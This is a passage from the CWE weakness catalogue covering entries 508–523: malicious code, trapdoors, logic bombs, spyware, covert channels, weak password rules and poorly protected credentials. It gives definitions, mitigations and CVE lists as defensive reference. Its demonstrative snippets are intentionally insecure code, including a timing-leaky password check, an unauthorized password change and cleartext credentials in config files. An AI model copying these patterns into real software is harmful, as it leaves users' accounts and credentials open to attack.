The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	507	Trojan Horse	1212

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Antivirus software can help mitigate known malicious code.

Phase: Installation

Verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2387
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Non-Replicating

CWE-509: Replicating Malicious Code (Virus or Worm)

Weakness ID : 509
Structure : Simple
Abstraction : Base

Description

Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	507	Trojan Horse	1212

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Antivirus software scans for viruses or worms.

Phase: Installation

Always verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2387
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Replicating (virus)

CWE-510: Trapdoor

Weakness ID : 510
Structure : Simple
Abstraction : Base

Description

A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1210

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution Forced Path Execution Debugger Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Cost effective for partial coverage: Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Installation

Always verify the integrity of the software that is being installed.

Phase: Testing

Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2387
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Trapdoor

CWE-511: Logic/Time Bomb

Weakness ID : 511
Structure : Simple
Abstraction : Base

Description

The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.

Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	506	Embedded Malicious Code	1210

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	
Integrity	Alter Execution Logic	

Potential Mitigations

Phase: Installation

Always verify the integrity of the product that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Demonstrative Examples

Example 1:

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2387
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Logic/Time Bomb

References

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < https://www.veracode.com/blog/2010/12/mobile-app-top-10-list >.2023-04-07.

CWE-512: Spyware

Weakness ID : 512
Structure : Simple
Abstraction : Base

Description

The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.

Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to refer to products that collect information or install functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	506	Embedded Malicious Code	1210

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Operation

Use spyware detection and removal software.

Phase: Installation

Always verify the integrity of the product that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2387
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

CWE-514: Covert Channel

Weakness ID : 514
Structure : Simple
Abstraction : Class

Description

A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.

Extended Description

Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1229	Creation of Emergent Resource	2006
ParentOf	B	385	Covert Timing Channel	940
ParentOf	B	515	Covert Storage Channel	1220
CanFollow	B	205	Observable Behavioral Discrepancy	526

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = SOAR Partial

Demonstrative Examples

Example 1:

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

Example Language: Python *(Bad)*

```
def validate_password(actual_pw, typed_pw):
  if len(actual_pw) <> len(typed_pw):
    return 0
  for i in len(actual_pw):
    if actual_pw[i] <> typed_pw[i]:
      return 0
  return 1
```

Note that in this example, the actual password must be handled in constant time as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	2404
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2544

Notes

Theoretical

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Covert Channel

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

CWE-515: Covert Storage Channel

Weakness ID : 515
Structure : Simple
Abstraction : Base

Description

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

Extended Description

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	514	Covert Channel	1218

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2325

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Covert storage channels may provide attackers with important information about the system in question.*	
Integrity Confidentiality	Read Application Data *If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.*	

Potential Mitigations

Phase: Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

Demonstrative Examples

Example 1:

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	2404
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2544

Notes

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Storage
CLASP			Covert storage channel

CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID : 520
Structure : Simple
Abstraction : Variant

Description

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Extended Description

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	638

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Operation

Run the application with limited privilege to the underlying operating and file system.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2339
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2386
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

CWE-521: Weak Password Requirements

Weakness ID : 521
Structure : Simple
Abstraction : Base

Description

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Extended Description

Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1391	Use of Weak Credentials	2269
ParentOf	V	258	Empty Password in Configuration File	621

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	692

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2424

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2315

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could easily guess user passwords and gain access user accounts.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

A product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes: Enforcement of a minimum and maximum length Restrictions against password reuse Restrictions against using common passwords Restrictions against using contextual string in the password (e.g., user id, app name) Depending on the threat model, the password policy may include several additional attributes. Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case) Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down). Another disadvantage of this approach is that it often does not result in a significant increases in overal password complexity due to people's predictable usage of various symbols. Large Minimum Length (encouraging passphrases instead of passwords) Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords. Randomly Chosen Secrets Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used. A disadvantage of this approach is that the resulting password or passpharse may be too difficult to memorize, encouraging them to be written down. Password Expiration Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations. Password expiration may be a good mitigating technique when long complex passwords are not desired. See NIST 800-63B [REF-1053] for further information on password requirements.

Phase: Architecture and Design

Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.

Phase: Implementation

Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.

Observed Examples

Reference	Description
CVE-2020-4574	key server application does not require strong passwords

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2020-4574

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2335
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2396
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2494
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
112	Brute Force
509	Kerberoasting
555	Remote Services with Stolen Credentials
561	Windows Admin Shares with Stolen Credentials
565	Password Spraying

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1053]NIST. "Digital Identity Guidelines (SP 800-63B)". 2017 June. < https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf >.2023-04-07.

CWE-522: Insufficiently Protected Credentials

Weakness ID : 522
Structure : Simple
Abstraction : Class

Description

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	668	Exposure of Resource to Wrong Sphere	1469
ChildOf	Ⓒ	1390	Weak Authentication	2267
ParentOf	Ⓑ	256	Plaintext Storage of a Password	615
ParentOf	Ⓑ	257	Storing Passwords in a Recoverable Format	618
ParentOf	Ⓑ	260	Password in Configuration File	629
ParentOf	Ⓑ	261	Weak Encoding for Password	631
ParentOf	Ⓑ	523	Unprotected Transport of Credentials	1230
ParentOf	Ⓑ	549	Missing Password Field Masking	1262

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	287	Improper Authentication	692

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2428

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain access to user accounts and access sensitive data used by the user accounts.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Phase: Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Phase: Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(Bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
   SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java *(Bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: Java *(Bad)*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

Example Language: C *(Bad)*

```
int VerifyAdmin(char *password) {
   if (strcmp(compress(password), compressed_password)) {
      printf("Incorrect Password!\n");
      return(0);
   }
   printf("Entering Diagnostic Mode...\n");
   return(1);
}
```

Example Language: Java *(Bad)*

```
int VerifyAdmin(String password) {
  if (passwd.Equals(compress(password), compressed_password)) {
    return(0);
  }
  //Diagnostic Mode
  return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 5:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java *(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET *(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
  providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 6:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission or storage of passwords in their OT products.

Observed Examples

Reference	Description
CVE-2022-30018	A messaging platform serializes all elements of User/Group objects, making private information available to adversaries *https://www.cve.org/CVERecord?id=CVE-2022-30018*

Reference	Description
CVE-2022-29959	Initialization file contains credentials that can be decoded using a "simple string transformation" *https://www.cve.org/CVERecord?id=CVE-2022-29959*
CVE-2022-35411	Python-based RPC framework enables pickle functionality by default, allowing clients to unpickle untrusted data. *https://www.cve.org/CVERecord?id=CVE-2022-35411*
CVE-2022-29519	Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens. *https://www.cve.org/CVERecord?id=CVE-2022-29519*
CVE-2022-30312	Building Controller uses a protocol that transmits authentication credentials in plaintext. *https://www.cve.org/CVERecord?id=CVE-2022-30312*
CVE-2022-31204	Programmable Logic Controller (PLC) sends password in plaintext. *https://www.cve.org/CVERecord?id=CVE-2022-31204*
CVE-2022-30275	Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext. *https://www.cve.org/CVERecord?id=CVE-2022-30275*
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://www.cve.org/CVERecord?id=CVE-2007-0681*
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://www.cve.org/CVERecord?id=CVE-2000-0944*
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. *https://www.cve.org/CVERecord?id=CVE-2005-3435*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://www.cve.org/CVERecord?id=CVE-2005-0408*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	2332
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2335
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2389
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2436
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
50	Password Recovery Exploitation
102	Session Sidejacking
474	Signature Spoofing by Key Theft
509	Kerberoasting
551	Modify Existing Service
555	Remote Services with Stolen Credentials
560	Use of Known Domain Credentials
561	Windows Admin Shares with Stolen Credentials
600	Credential Stuffing
644	Use of Captured Hashes (Pass The Hash)
645	Use of Captured Tickets (Pass The Ticket)
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < https://www.forescout.com/resources/ot-icefall-report/ >.

CWE-523: Unprotected Transport of Credentials

Weakness ID : 523
Structure : Simple
Abstraction : Base

Description

Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1225
CanAlsoBe	B	312	Cleartext Storage of Sensitive Information	764

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2428

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2315

Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

